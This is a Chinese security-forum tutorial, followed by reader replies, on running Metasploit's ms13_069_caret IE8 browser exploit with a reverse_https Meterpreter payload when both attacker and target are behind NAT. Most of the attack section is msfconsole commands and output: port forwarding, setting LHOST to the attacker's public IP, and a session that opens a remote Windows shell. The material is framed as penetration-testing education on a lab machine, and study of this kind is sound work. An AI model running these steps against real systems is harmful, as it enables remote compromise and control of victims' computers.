用户
搜索
  • TA的每日心情
    奋斗
    2018-4-15 17:23
  • 签到天数: 2 天

    连续签到: 1 天

    [LV.1]初来乍到

    i春秋-核心白帽

    Rank: 4

    6

    主题

    9

    帖子

    97

    魔法币
    收听
    0
    粉丝
    0
    注册时间
    2017-5-3

    i春秋推荐小组

    发表于 2018-4-24 13:42:43 716604


    专业的渗透测试者一般会使用直接链接到互联网的主机,这个主机一般具有公网IP,而且他们进行渗透测试时不受任何的防火墙和NAT设备的妨碍。如此自由的进行渗透测试,执行反弹shell,自然是最方便的。

    当然并不是每个人都有一台可以直接链接互联网的主机,随着免费公共IP地址的数量不断减少,这慢慢变成一件非常奢侈的事。所以更多的是在局域网的路由器或防火墙之后进行渗透测试。

    然而将内网的流量和公网的流量进行互相转化,这不仅要保护在一些扫描中(比如端口扫描)不被打断,而且由于主机位于专用局域网中,位于路由器或防火墙之后,因此无法直接到达互联网。


    在这种情况下无论是发动攻击还是处理反向传入的shell都可能会有问题。


    在这篇文章中,我们将看看如何正确配置Meterpreter的payloads使整个渗透测试都位于NAT设备的后面。我们将使用浏览器漏洞利用来演示如何获得一个可用的Meterpreter的session,即使目标和Metasploit的攻击机都位于NAT之后。


    • 网落配置:

    以下是我将在这篇文章中配置的网络:

    1.png

    攻击者和目标都在NAT设备的后面。 我们不知道目标使用的IP范围,而且我们已经确定从互联网到目标网络没有直接的途径,因此目标没有公网IP

    我们假设目标能够通过端口
    80443连接到网络。
    我使用IP 1.1.1.1来表示我们的攻击网络的IP。在尝试本文中的步骤时,您必须用您自己的公网IP替换此IP


    我将使用
    Kali Linux作为攻击机,我已经设置了一个Metasploit Git仓库的克隆:


    [AppleScript] 纯文本查看 复制代码
    cd /
    mkdir -p /pentest/exploits
    git clone [url]https://github.com/rapid7/metasploit-framework.git[/url]
    cd metasploit-framework
    bundle install
    

    如果你已经建立了一个git克隆,确保使用“git pull”更新到最新的。
    目标是一个Windows XP SP3(这不是重点,重点是浏览器漏洞),安装IE8(可以从http://utilu.com/IECollection/下在各种版本的IE)本文使用这个IE版本,因为已经果实,并且非常容易受到大多数IE8浏览器漏洞的攻击。


    • 设置转发攻击方的流量:

    如果我们想要链接目标,我们就需要配置攻击者防火墙/NAT以特定端口上来转发流量。(确切的步骤还要看所使用的品牌/型号/类型的路由器和防火墙,超出了本文的讨论的范围)一般来说,是配置路由器/防火墙的80或443端口,以便将192.168.0.187(这是我的攻击者的内网IP)被转发到公网IP地址。在设置路由器/防火墙时,请确保检查路由器/防火墙(管理借口,VPN端点等)未使用端口80或443。
    我们将使用端口80来提供浏览器漏洞,并使用端口443用来反向链接Meterpreter。首先,我们需要验证能否正常的转发。
    在Kali上,我们先创建一个小的html文件并将其保存在/tmp下。

    [AppleScript] 纯文本查看 复制代码
    root@krypto1:/# cd /tmp
    root@krypto1:/tmp# echo "It works" > test.html

    接下来,我们要确定80和443端口没有运行什么别的服务。
    [AppleScript] 纯文本查看 复制代码
    root@krypto1:/tmp# netstat -vantu | grep :80
    root@krypto1:/tmp# netstat -vantu | grep :443

    如果这两个命令没有输出什么,那表示80和443端口没有运行什么别的服务。但如果列出了某些内容,则需要查找占据该端口的进程,并终止该进程。以80端口为例,您可以使用以下lsof命令检查正在控制http端口的进程:

    [AppleScript] 纯文本查看 复制代码
    root@krypto1:/tmp# lsof -i | grep :http 
    apache2    4634     root    4u  IPv6 393366      0t0  TCP *:http (LISTEN)
    apache2    4642 www-data    4u  IPv6 393366      0t0  TCP *:http (LISTEN)
    apache2    4643 www-data    4u  IPv6 393366      0t0  TCP *:http (LISTEN)
    apache2    4644 www-data    4u  IPv6 393366      0t0  TCP *:http (LISTEN)
    apache2    4645 www-data    4u  IPv6 393366      0t0  TCP *:http (LISTEN)
    apache2    4646 www-data    4u  IPv6 393366      0t0  TCP *:http (LISTEN)

    只需停止apache2服务即可:

    [AppleScript] 纯文本查看 复制代码
    root@krypto1:/tmp# service apache2 stop
    Stopping web server: apache2 ... waiting .
    root@krypto1:/tmp# 
    

    当80和443端口都可用时,我们将运行一个简单的Web服务器并提供“test.html”页面。从而test.html文件的文件夹中,运行以下python命令:


    [AppleScript] 纯文本查看 复制代码
    root@krypto1:/tmp# python -m SimpleHTTPServer 80
    Serving HTTP on 0.0.0.0 port 80 ...
    

    如果您现在链接到Kali本身的http://192.168.0.187/test.html,您应该看到“It works”页面:

    2.png

    Kali输出应该列出链接并显示该页面的响应为200
    [AppleScript] 纯文本查看 复制代码
    root@krypto1:/tmp# python -m SimpleHTTPServer 80
    Serving HTTP on 0.0.0.0 port 80 ...
    192.168.0.187 - - [04/Jan/2014 12:42:02] "GET /test.html HTTP/1.1" 200 -

    完美,这说明了网络服务正常。在目标计算机上,链接到http://1.1.1.1/test.html(再次确认,用攻击者端的路由器/防火墙的公网IP替换1.1.1.1),你应该看到同样的东西。如果你没有看到该页面,请检查转发设置是否正确。
    这适用于端口80,攻击者可以使用CTRL+C来终止python命令。当然我们可以再次启动该命令,这次使用端口443:


    [AppleScript] 纯文本查看 复制代码
    root@krypto1:/tmp# python -m SimpleHTTPServer 443
    Serving HTTP on 0.0.0.0 port 443 ...


    现在通过端口443访问网络服务器。尽管我们通常使用443并且443通常与https(加密)有关,但我们的pyhton处理程序并未使用加密。换句话说,我们仍需要在URL中使用http而不是https:(尴尬

    3.png
    [AppleScript] 纯文本查看 复制代码
    root@krypto1:/tmp# python -m SimpleHTTPServer 443
    Serving HTTP on 0.0.0.0 port 443 ...
    192.168.0.187 - - [04/Jan/2014 12:47:44] "GET /test.html HTTP/1.1" 200 -
    192.168.0.187 - - [04/Jan/2014 12:47:44] code 404, message File not found
    192.168.0.187 - - [04/Jan/2014 12:47:44] "GET /favicon.ico HTTP/1.1" 404 -
    192.168.0.187 - - [04/Jan/2014 12:47:44] code 404, message File not found
    192.168.0.187 - - [04/Jan/2014 12:47:44] "GET /favicon.ico HTTP/1.1" 404 -


    (不要担心关于/favicon.ico有关的404消息-忽略它们就好了)
    如果您可以从目标计算机链接到http://1.1.1.1:443/test.html,我们就知道端口转发的80和443端口都能正常工作。如果发生了什么错误,那么就没有意义继续进行实验了。
    如果一切正常,就关闭pyhton命令以释放443端口。


    • Metasploit的设置:

    浏览器漏洞利用 - meterpreter / reverse https
    首先,让我们设置Metasploit来为浏览器利用并处理反向https Meterpreter链接。利用思路是欺骗目标链接到80端口上的漏洞利用程序,并通过端口443服务meterpreter/reverse_https链接。
    转到metasploit-framework文件夹,打开msfconsole(如果你是想从当前文件夹运行msfconsole,而不是与Kali一起安装的版本)并选择一个漏洞利用。在本实验中,我将使用ms13_069_caret.rb:


    [AppleScript] 纯文本查看 复制代码
    root@krypto1:/tmp# cd /pentest/exploits/metasploit-framework/
    (master) root@krypto1:/pentest/exploits/metasploit-framework# ./msfconsole 
         ,           ,
        /             \
       ((__---,,,---__))
          (_) O O (_)_________
             \ _ /            |\
              o_o \   M S F   | \
                   \   _____  |  *
                    |||   WW|||
                    |||     |||
    
    
           =[ metasploit v4.9.0-dev [core:4.9 api:1.0]
    + -- --=[ 1248 exploits - 678 auxiliary - 199 post
    + -- --=[ 324 payloads - 32 encoders - 8 nops
    
    msf > use exploit/windows/browser/ms13_069_caret 
    msf exploit(ms13_069_caret) > 
    


    显示配置选项:


    [AppleScript] 纯文本查看 复制代码
    msf exploit(ms13_069_caret) > show options
    Module options (exploit/windows/browser/ms13_069_caret):
    
       Name        Current Setting  Required  Description
       ----        ---------------  --------  -----------
       SRVHOST     0.0.0.0          yes       The local host to listen on. This must be an address on the local machine or 0.0.0.0
       SRVPORT     8080             yes       The local port to listen on.
       SSL         false            no        Negotiate SSL for incoming connections
       SSLCert                      no        Path to a custom SSL certificate (default is randomly generated)
       SSLVersion  SSL3             no        Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1)
       URIPATH                      no        The URI to use for this exploit (default is random)
    
    
    Exploit target:
    
       Id  Name
       --  ----
       0   IE 8 on Windows XP SP3


    这个漏洞首先需要设置SRVHOST和SRVPORT。这两个参数将被Metasploit用来确定Web服务器需要绑定和监听的IP和端口。
    实验的计划是欺骗目标连接到这个网络服务器,使用我们的防火墙/路由器的公网IP,然后将该流量转发到我们的Metasploit。


    我们无法告诉Metasoloit的网络服务器去侦听路由器的公网IP,因为Metasploit无法将自己“绑定”到该IP地址。如果我们使用0.0.0.0,Metasploit的网络服务器将简单地监听传入流量的所有接口。换句话说,我们既可以将SRVHOST不改变其设置0.0.0.0,也可以将其设置为Kali本身的内网IP(本例中192.168.0.187)。本次实验中我们将保留默认的0.0.0.0。接下来,我们需要将端口更改为80,并将URLPATH设置为/(以便我们可以知道URL将会是上呢么,而不是让Metasploit来创建一个随机URL):


    [AppleScript] 纯文本查看 复制代码
    msf exploit(ms13_069_caret) > set SRVPORT 80
    SRVPORT => 80
    msf exploit(ms13_069_caret) > set URIPATH /
    URIPATH => /


    接下来,我们选择windows的payload,meterpreter reverse_https。如果我们再次运行“show options”,我们会看到:

    [AppleScript] 纯文本查看 复制代码
    msf exploit(ms13_069_caret) > set payload windows/meterpreter/reverse_https
    payload => windows/meterpreter/reverse_https
    msf exploit(ms13_069_caret) > show options
    Module options (exploit/windows/browser/ms13_069_caret):
    
       Name        Current Setting  Required  Description
       ----        ---------------  --------  -----------
       SRVHOST     0.0.0.0          yes       The local host to listen on. This must be an address on the local machine or 0.0.0.0
       SRVPORT     80               yes       The local port to listen on.
       SSL         false            no        Negotiate SSL for incoming connections
       SSLCert                      no        Path to a custom SSL certificate (default is randomly generated)
       SSLVersion  SSL3             no        Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1)
       URIPATH     /                no        The URI to use for this exploit (default is random)
    
    
    Payload options (windows/meterpreter/reverse_https):
    
       Name      Current Setting  Required  Description
       ----      ---------------  --------  -----------
       EXITFUNC  process          yes       Exit technique: seh, thread, process, none
       LHOST                      yes       The local listener hostname
       LPORT     443              yes       The local listener port
    
    
    Exploit target:
    
       Id  Name
       --  ----
       0   IE 8 on Windows XP SP3
    
    
    msf exploit(ms13_069_caret) > 


    选项SRVHOST和SRVPOR可以按照我们所希望的方式来设置。payload选项需要LOHOST和LPORT。根据上面的显示,Meterpreter尝试反向连接的LPORT已经设置为443端口。如果它未被设置为443框中,需要“set LPORT 443”以确保Meterpreter处理程序将侦听443端口:

    [AppleScript] 纯文本查看 复制代码
    msf exploit(ms13_069_caret) > set LPORT 443
    LPORT => 443
    

    注意:无论如何,为了让实验尽可能简单,请尝试将相同的端口用于特定的“服务”。也就是说,如果您主机的Web服务在防火墙的80端口上,请尝试确保将流量转发到攻击者/ Metasploit框中的端口80,并将漏洞托管在Metasploit的端口80上。尝试确保转发到攻击者(Metasploit)上的80端口。并在Metasploit80端口上利用漏洞。这一样适用于payload。如果我们在443端口上提供payload,请确定使用相同的端口在所以的地方。

    LHOST有两个用处:

    它指示Meterpreter shellcode要反向连接的IP地址(从目标反向攻击者)。
    它告诉Metasploit绑定到Meterpreter“handler”的地方。

    由于我们的攻击方主机位于NAT设备的后面,因此我们必须使用路由器/防火墙的公网IP地址作为LHOST。当攻击被执行时,这个IP将被嵌入到shellcode中,并且当初始的Meterpreter shellcode在目标上运行时,它将反向连接回这个IP地址。路由器/防火墙上的端口转发会将流量转发到攻击者主机的内网 IP上。我们的路由器/防火墙上的端口转发会将流量转发到我们的攻击者主机的内网IP。 因此,我们需要将LHOST设置为1.1.1.1(攻击者路由器/防火墙的公网IP)


    直接使用公网IP作为LHOST就意味着Metasploit将在设置Meterpreter的处理程序时尝试将自己绑定到该IP。而此IP属于路由器/防火墙而不属于Metasploit,所以这显然会失败。不过Metasploit会自动回退到0.0.0.0,并且基本上为攻击者主机上所有本地IP的Meterpreter handler 提供服务,同时记住LHOST已设置为公网IP地址。 这是我们所需要的。

    设置LHOST为1.1.1.1:


    [AppleScript] 纯文本查看 复制代码
    msf exploit(ms13_069_caret) > set LHOST 1.1.1.1
    LHOST => 1.1.1.1


    如果我们不想让Meterpreterhandler程序回退到0.0.0.0,我们可以使用其中一个“高级”选项并告诉它监听内网 IP地址:

    [AppleScript] 纯文本查看 复制代码
    msf exploit(ms13_069_caret) > set ReverseListenerBindAddress 192.168.0.187
    ReverseListenerBindAddress => 192.168.0.187


    启动漏洞利用:


    [AppleScript] 纯文本查看 复制代码
    msf exploit(ms13_069_caret) > exploit Exploit running as background job.
     Started HTTPS reverse handler on [url]https://192.168.0.187:443/[/url] Using URL: [url]http://0.0.0.0:80/[/url]  Local IP: [url]http://192.168.0.187:80/[/url] Server started.


    以上的输出告诉了我们:

    http://0.0.0.0:80(或http://192.168.0.187:80)正在执行浏览器漏洞。 如果目标连接到http://1.1.1.1,则流量将转发到Kali的80端口上并进行该漏洞利用。

    HTTPS handler正在反向侦听192.168.0.187端口443。

    我们在输出中看不到的,是实际的Meterpreter shellcode包含IP地址1.1.1.1来连接回来. 该值是LHOST。
    但如果您没有使用ReverseListenerBindAddress,却在运行“exploit”之后获得类似下面的输出内容,请检查以下内容:


    1.检查端口是否可以使用
    2.确保你运行的是最新版本的Metasploit
    3.将ReverseListenerBindAddress设置为您的本地内网IP或0.0.0.0
    4.退出msfconsole并再次打开它。 在某些情况下,您会注意到,如果您之前运行过会话,则无法正确清理绑定。

    [AppleScript] 纯文本查看 复制代码
    msf exploit(ms13_069_caret) > exploit[/size][/backcolor][backcolor=rgb(249, 249, 249)][size=3] Exploit running as background job.
    
    [-] Exploit failed: Rex::AddressInUse The address is already in use (0.0.0.0:443).
    


    如果我们现在的目标上使用IE8(来自IECollection),并在80端口上连接到攻击者路由器/防火墙的公共IP,我们应该看到:

    [AppleScript] 纯文本查看 复制代码
    msf exploit(ms13_069_caret) >[/size][size=3] 2.2.2.2   ms13_069_caret - Sending exploit...[/size][size=3] 2.2.2.2   ms13_069_caret - Sending exploit...[/size][size=3] 2.2.2.2:53893 Request received for /NtFT...[/size][size=3] 2.2.2.2:53893 Staging connection for target /NtFT received...[/size][size=3] Patched user-agent at offset 663128...[/size][size=3] Patched transport at offset 662792...[/size][size=3] Patched URL at offset 662856...[/size][size=3] Patched Expiration Timeout at offset 663728...[/size][size=3] Patched Communication Timeout at offset 663732...[/size][size=3] Meterpreter session 1 opened (192.168.0.187:443 -> 2.2.2.2:53893) at 2014-01-05 09:24:26 +0100[/size][size=3] Session ID 1 (192.168.0.187:443 -> 2.2.2.2:53893) processing InitialAutoRunScript 'migrate -f'[/size][size=3] Current server process: iexplore.exe (2952)[/size][size=3] Spawning notepad.exe process to migrate to
    [+] Migrating to 500
    [+] Successfully migrated to process 
    
    msf exploit(ms13_069_caret) > sessions -i 1[/size][size=3] Starting interaction with 1...
    
    meterpreter > shell
    Process 592 created.
    Channel 1 created.
    Microsoft Windows XP [Version 5.1.2600]
    (C) Copyright 1985-2001 Microsoft Corp.
    
    C:\Documents and Settings\peter\Desktop>
    


    2.2.2.2是目标的公网IP。当目标连接到80端口时,Metasploit发送payload,利用浏览器并执行初始meterpreter的payload。
    该payload将下载metsrv.dll(它首先由Metasploit修补,因此它将包含攻击者的公网IP和端口),将其加载到内存中(使用反射加载)并运行代码。完成后,我们将获得完整的Meterpreter会话。


    所以,设置下面的变量,你应该很好去:


    [AppleScript] 纯文本查看 复制代码
    SRVHOST:0.0.0.0
    SRVPORT:设置为您希望利用浏览器漏洞的端口
    LHOST:攻击者的公网IP
    LPORT:设置到要为Meterpreter处理程序提供服务的端口
    ReverseListenerBindAddress:内网 IP (可选)


    如果出于一些的原因,您还希望将Meterpreter处理程序托管在另一个端口上,而不是客户端将连接到的端口,那么您可以使用LPORT来指定目标将连接回的位置,并使用ReverseListenerBindPort指示handler需要的位置侦听。
    当然,您需要确保端口转发将连接到攻击者计算机上的正确的端口。





    给大佬暖个贴!
    使用道具 举报 回复
    留个脚印改天来仔细学习一下
    使用道具 举报 回复
    发表于 2018-4-25 13:02:45
    哪里是把NAT映射了公网IP
    使用道具 举报 回复
    毛用 直接路由器转发就行了
    使用道具 举报 回复
    发表于 2018-4-27 08:38:28
    使用道具 举报 回复
    发表于 2018-5-10 20:23:06
    疯狂的人类 发表于 2018-4-26 18:12
    毛用 直接路由器转发就行了

    大佬,路由器转发有没有帖子参考的,最近渗透没思路了。
    使用道具 举报 回复
    发表于 2018-10-6 22:26:45
    支持一下~
    使用道具 举报 回复
    发新帖
    您需要登录后才可以回帖 登录 | 立即注册